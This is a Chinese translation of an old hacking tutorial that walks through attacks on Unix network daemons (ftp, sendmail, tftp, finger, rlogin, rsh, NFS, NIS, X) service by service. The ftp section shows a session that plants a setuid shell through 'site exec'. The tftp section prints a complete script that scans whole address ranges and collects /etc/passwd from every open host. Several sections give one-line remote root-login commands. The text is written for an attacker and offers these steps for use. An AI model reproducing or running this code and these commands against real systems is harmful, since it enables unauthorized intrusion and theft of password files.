守护进程(daemons)的攻击

    网络主机通过建立在IP协议上的tcp(传输控制协议)协议或udp(用户数据协议)协议进行相互通信.其他协议也用在ip(因特网协议)上,但tcp和udp是我们感兴趣的.在unix系统中,文件etc/protocols列出了你的机器上所能使用的协议.
 
   
    在会话层(osi七层模型)或网络层(DOD协议模型)中,数据通过端口在主机之间传送.每次数据通信都有一个源端口号和一个目的端口号.端口号可以分为两种类型,通用端口和动态分配的端口.在unix中,通用端口在文件/etc/services中定义.另外,RFC1700 "已分配的端口"提供了所有通用端口的列表.动态分配的端口是根据需要由系统分配的.
   
    unix可以将叫做daemons的程序连上通用端口.远端主机连接通用端口,接着连上daemons程序.daemons程序通常由inetd(internet daemon)启动.被执行的daemons程序在inetd配置文件/etc/inetd.conf中定义.  大多数这种daemons以特权用户身份运行,经常是以系统管理员身份运行.许多程序都有漏洞,可以被利用以进入远端系统。

我们所感兴趣的daemons程序如下:

         服务                 端口号               描述


         ftp 21 文件传输(控制)
         smtp25 简单邮件传输协议
         tftp69 小文件传输协议
         finger 79 finger程序
         www-http           80 万维网http服务
         sunrpc111 sun远程过程调用
fln-spx221 Berkeley rolgind with spx auth
        rsh-spx222 Berkeley rshd with spx auth
        netinfo716-719 网络信息
  ibm-res1405 IBM远端执行启动器
nfs2049 网络文件系统
xll6000-6063           X窗口操作系统
        rcp/rshd            远端复制/远端shell程序
nis          网络信息服务


这篇文章的下一部分将关注具体的daemons程序和它们已知的漏洞。这里将简要解释系统漏洞。
对于更加复杂的漏洞探测,已超过这篇短文的范围,请读者自己多加研究。



--〉ftp                   21             文件传输(控制)

ftp是文件传输协议的简写。ftp请求将由ftpd(一个ftp daemon程序)应答。在2.2以下版本的Wuarchive's
ftpd程序中有以下的漏洞:通过调用带有相对路径名("../"在前面)的"site exec"命令,你可以操作任何你
能看到的代码。这儿有一个例子:

通过ftp登陆进系统:
220 uswest.com FTP server (Version wu-2.1(1) ready.
        Name (uswest.com:waltman): waltman
        331 Password required for waltman.
        Password: jim
        230 User waltman logged in.
        Remote system type is UNIX.
        Using binary mode to transfer files.
        ftp> quote "site exec cp /bin/sh /tmp/.tno"
        200-cp /bin/sh /tmp/tno
        ftp> quote "site exec chmod 6755 /tmp/.tno"
        200-chmod 6755 /tmp/tno
        ftp> quit
        221 Goodbye.


--〉smtp 25 简单邮件传输协议


邮件攻击是攻击internet主机的古老的方法之一。最常用的,也是最不安全的邮件daemon程序就是sendmail.其他邮件daemon程序包括smail,MMDF,和IDA sendmail. Sendmail有如此之多的漏洞,以至于我们不能一一列举。有一篇专门介绍sendmail漏洞的完整的FAQ,因此我们在这里将不会做详细讨论。

"wizard mode"是一个因为历史意义而著名的漏洞。在wizard模式中你可以通过25号端口(SMTP端口)向shell发出请求。没有一个现代系统会对这种攻击表现出脆弱。利用这个漏洞,你telnet到25号端口,输入WIZ进入wizard模式,然后输入密码。问题与加密密码的存放方式有关。漏洞会使系统相信没有一个密码会比真实的密码更好。


引用steven bellovin的话如下:


wizard模式的意向行为是:如果你提供了正确密码,其他一些非标准SMTP命令将可以使用,尤其是提供你shell的命令。散列过的密码-一种与/etc/passwd加密方法相同的方法-储存在sendmail配置文件中。但却有一个漏洞;为了解释它,我有必要介绍一些关于sendmail和c编译器的秘密。


   为了减小每次读取和解析配置文件的花销,sendmail采用称为"冷冻配置文件"的技术。

意图是好的,具体实现刚好相反。为了冷冻配置文件,sendmail把整个的动态内存区和bss区(该区在可执行文件中不占任何空间,在程序执行时由unix 内核全部清零)写入硬盘。bss区保存着所有在c源程序中没有被赋明确初值的变量。

   实际上,当传递邮件时,sendmail只是把这些大块数据读回,读入两大块读集(英文是reads),
因此有必要将所有配置文件的信息存入bss或动态内存中,这需要大量的代码维护。
  
   Wizard模式密码储存在动态分配的内存中,因此它可以正确冷冻。但在源文件中,指向它的指针被明确设为空:
  
   Char  *wiz=NULL;

这意味着它在初始化数据区,不在bbs中。因此它没有被存到冷冻配置中。因此,当配置文件被读取和冷冻,密码被读入和写出。而下一次sendmail运行时,指针将被重新置为零。(密码当然还存在,但无法找到它)并且,代码愚蠢地认为没有后门密码。

   另一点值得注意的是,在检验中,sendmail做了在wizard模式下应该做的事。也就是说,它的确检验了
密码-因为你不是碰巧用一个冷冻的配置文件做wizard模式测试-并且大多数测试不会这样做-*wiz指针是正
确的。




--〉tftp              69             小文件传输协议


tftp是小文件传输协议。Tftp经常被用来夺取远端系统的密码文件。Tftp攻击是如此简单和可重复,以至于
有人写脚本来自动进行对整个领域的攻击。这儿就有一个脚本:


    #!/bin/sh
   ########################################################################
   #                     TFTP snagger by Yo
   # It snags /etc/passwd files from all hosts with open 69 (tftp) port.
   # scans all hosts from XX.XX.0.0 - XX.XX.255.255
   # you can run it in the background in following way:
   #                snag [hostname] > /dev/null &
   #     [hostname] might be used IP # (with -ip option) as well as FQDN
   #                   Last Updated 10/20/92
   #
   #            Highly modified by ThePublic on 10/21/92
   ########################################################################
   case $1 in
    '')
     echo " Usage: $0 [hostname]  to run in the foreground                    "
     echo "        $0 [hostname] > /dev/null & to run in the background       "
     echo " The [hostname] can be specialized in fully qualified domain name  "
     echo " i.e.- $0 nyx.cs.du.edu - and it'll scan all du.edu domain.        "
     echo " as well as IP with -ip option.                                    "
      exit 1
      ;;
    -ip)
    if [ $2x = x ]; then
     echo " Usage: $0 $1 the IP "
     exit 1
      else
          x=`echo $2 | cut -d. -f1`
         xx=`echo $2 | cut -d. -f2`
        xxx=`echo $2 | cut -d. -f3`
       xxxx=`echo $2 | cut -d. -f4`
   #                        ^ field delimiter is '.' -- get field 1/2/3/4
    fi;;
     *)
   if [ ! -f /usr/ucb/nslookup ] && [ ! -f /usr/local/bin/nslookup ]; then
                                  # -x is for SunOs
    echo sorry dude, no nslookup server .. try it with -ip option.
   exit 1
   fi
   x1=`nslookup $1 | fgrep "Address" | cut -c11-17 | tail -1`
   #                                          ^ 7 chars   ^ last line
   if [ "$x1" = '' ]; then
   echo " There is no such domain. Nothing to scan. Exit. "
   exit 1
   fi
      x=`echo $x1 | cut -d. -f1`  # get the first set of #, ##, or ###
     xx=`echo $x1 | cut -d. -f2`  # get the second set
    xxx=0                         # ignore the rest, if any
   xxxx=0
      ;;
    esac
   if [ $x -lt 1 ] || [ $x -ge 255 ] || [ $xx -lt 1 ] || [ $xx -ge 255 ]; then
    echo There is no such domain. Nothing to scan.
   exit 1
   fi
   while [ $x -ne 255 ]; do

   while [ $xx -ne 255 ]; do
   while [ $xxx -ne 255 ]; do
   while [ $xxxx -ne 255 ]; do
   target=$x.$xx.$xxx.$xxxx
   trap "echo The Process was stopped at $target;rm -rf passwd.$target; exit 1" 2
   tftp << EOF
   c $target
   mode ascii
   trace
   get /etc/passwd passwd.$target
   quit
   EOF
   if [ ! -s passwd.$target ]  ; then
    rm -rf passwd.$target
   echo `date`  $target has rejected an attempt >> .info
     else
     mv passwd.$target  .good.$target
       echo `date` $target is taken, all data is stored in .good.$target file >> .info
    fi
    xxxx=`expr $xxxx + 1 `
   done
   xxxx=0
   xxx=`expr $xxx + 1 `
   done
   xxx=0
   xx=`expr $xx + 1 `
   done
   xx=0
   x=`expr $x + 1 `
   done




---〉finger             79              finger



    finger命令显示其它用户的信息,比如所知的登陆名,全名,终端名,呆滞时间,登陆时间和位置。Finger请求由finger daemon程序应答。


    Robert tappan morris的网络蠕虫用到了finger daemon程序。finger daemon允许从远端主机发送至多
512比特作为Finger请求。然而,finger却有缓存溢出的漏洞,这是因为缺少正确的边界检查。


被finger的主机将任何超过512比特的东西解释成在本地执行的指令,无论finger daemon的权限是什么。


--〉www-http             80 万维网http服务


html(超文本标记语言)允许网页用户在主机系统上执行程序。如果网页设计者允许网页使用者将参数输入命令中,与system()类型的调用有关的问题将使系统变得脆弱。而且,在某些环境下,漏洞将给你一个x-term,使用www服务器所运行的UID.(?)

--〉sunrpc       111 sun远程过程调用


    sunrpc(远程过程调用) 允许在远端主机上执行过程。Rpc受到缺乏安全认证的困扰。为了利用rpc的
漏洞,你应该用一个叫做"ont"的软件,不难找到的  :)

--〉login 513 远程登陆


某些版本的AIX和linux受到这个漏洞的困扰:rlogin读取参数。利用这个漏洞,从远端主机上发布这个命令:


rlogin host -l -f root(?-l -f双参数吗?)

host是目标主机的地址,用户名随你便(通常用root).


如果目标主机上有这个漏洞,你可以不被询问密码就登陆。

--> rsh-spx222 berkeley rshd with spx auth(???)

某些版本的dynix和irix在rshd中有漏洞,这些漏洞允许你以系统管理员的身份执行命令. 利用这个漏洞,
从远端主机上发布这个命令:

rsh host -l "" /bin/sh


--> netinfo           716-719           网络信息

NeXT采用一种叫做NetInfo的协议,一台NeXT机器可以查询另一台机器的信息.一台NetInfo服务器默认对系统
数据库不加限制的进入.这可以由系统管理员来修补. 密码文件是NetInfo会提供的信息之一.


--> ibm-res             1405           ibm远程执行启动器


    rexd(远程执行程序)允许你在另一台unix机器上执行程序.AIX,NeXt和HPUX版本的rexd有一个漏洞,允许非故意的远程执行.rexd程序检查你所来自机器的uid,因此你必须成为你执行rexd攻击所来自机器的系统管理员.为了确定你的攻击目标是否运行rexd,使用"rcp -p <目标>"命令.你还需要漏洞攻击程序比如"on",你随处可得.

--> nfs2049 网络文件系统

NFS, 网络文件系统,来自SUN微型操作系统,受多方面的安全漏洞的困扰.另外,许多系统管理员错误的配置NFS,允许非故意的远程进入.使用命令"showmount -e <目标>"你可以看到机器上输出什么样的文件系统.许多系统管理员允许/etc目录可读,是你可以复制密码文件.其他许多系统管理员允许/etc目录对用户可写,你可以制作.rhosts文件,通过rlogin和rsh进入机器.除了配置问题外,NFS还会受到利用以下漏洞进行的攻击:uid掩饰,mknod,常用文件句柄猜测.一些黑客攻击命令可以攻击以知的漏洞

--> xll6000-6063 x窗口系统

x窗口已经被许多漏洞困扰,现在还在继续.一个漏洞允许你进入另一个用户的显示器,另一个漏洞允许你知道其他人的击键.还有漏洞允许你进行远程攻击,运行根用户在.xsession文件里的所有程序.以及允许本地用户在/etc/passwd文件里创建一个根用户的进入权限.

--> rcp/rshd

SunOs 4.0.x rcp可以被任何列在/etc/hosts.equiv 或/.rhosts里的信任主机所侵入.为了利用这一漏洞,你必
须在unix系统上运行NFS(网络文件系统)或在dos系统上运行pc/nfs.


--> NIS

SUN的NIS(网络信息服务),也被称作黄页,有漏洞---如果你知道目标系统的NIS域名,你可以从另一个NIS域查
询NIS地图.没有办法查询远端系统来得到NIS域名,但许多NIS域名很容易猜出来.最常被查询的NIS地图是pass
wd.byname,即/etc/passwd的NIS实现.另外,如果你进入无硬盘unix工作站,你可以断定它boot的服务器的域名.

注意:不要把NIS域名和DNS域名混淆.


--> 其他攻击
除了这些基于daemons的攻击,其他手段也可以用来进入远端系统.包括,但不局限于:默认账户,
猜测密码,sniffing,源路由,DNS路由攻击,tcp顺序预测和uucp配置攻击.

本文可以给你一个概念:基于daemons的攻击是怎样工作的.这绝不是有权限的网络daemons安全漏洞完整列表.为了获取更多关于daemons如何工作的信息,以及如何利用它们的弱点,我推荐你们去看源代码,个人主页和RFC's.

translate by 小公鸡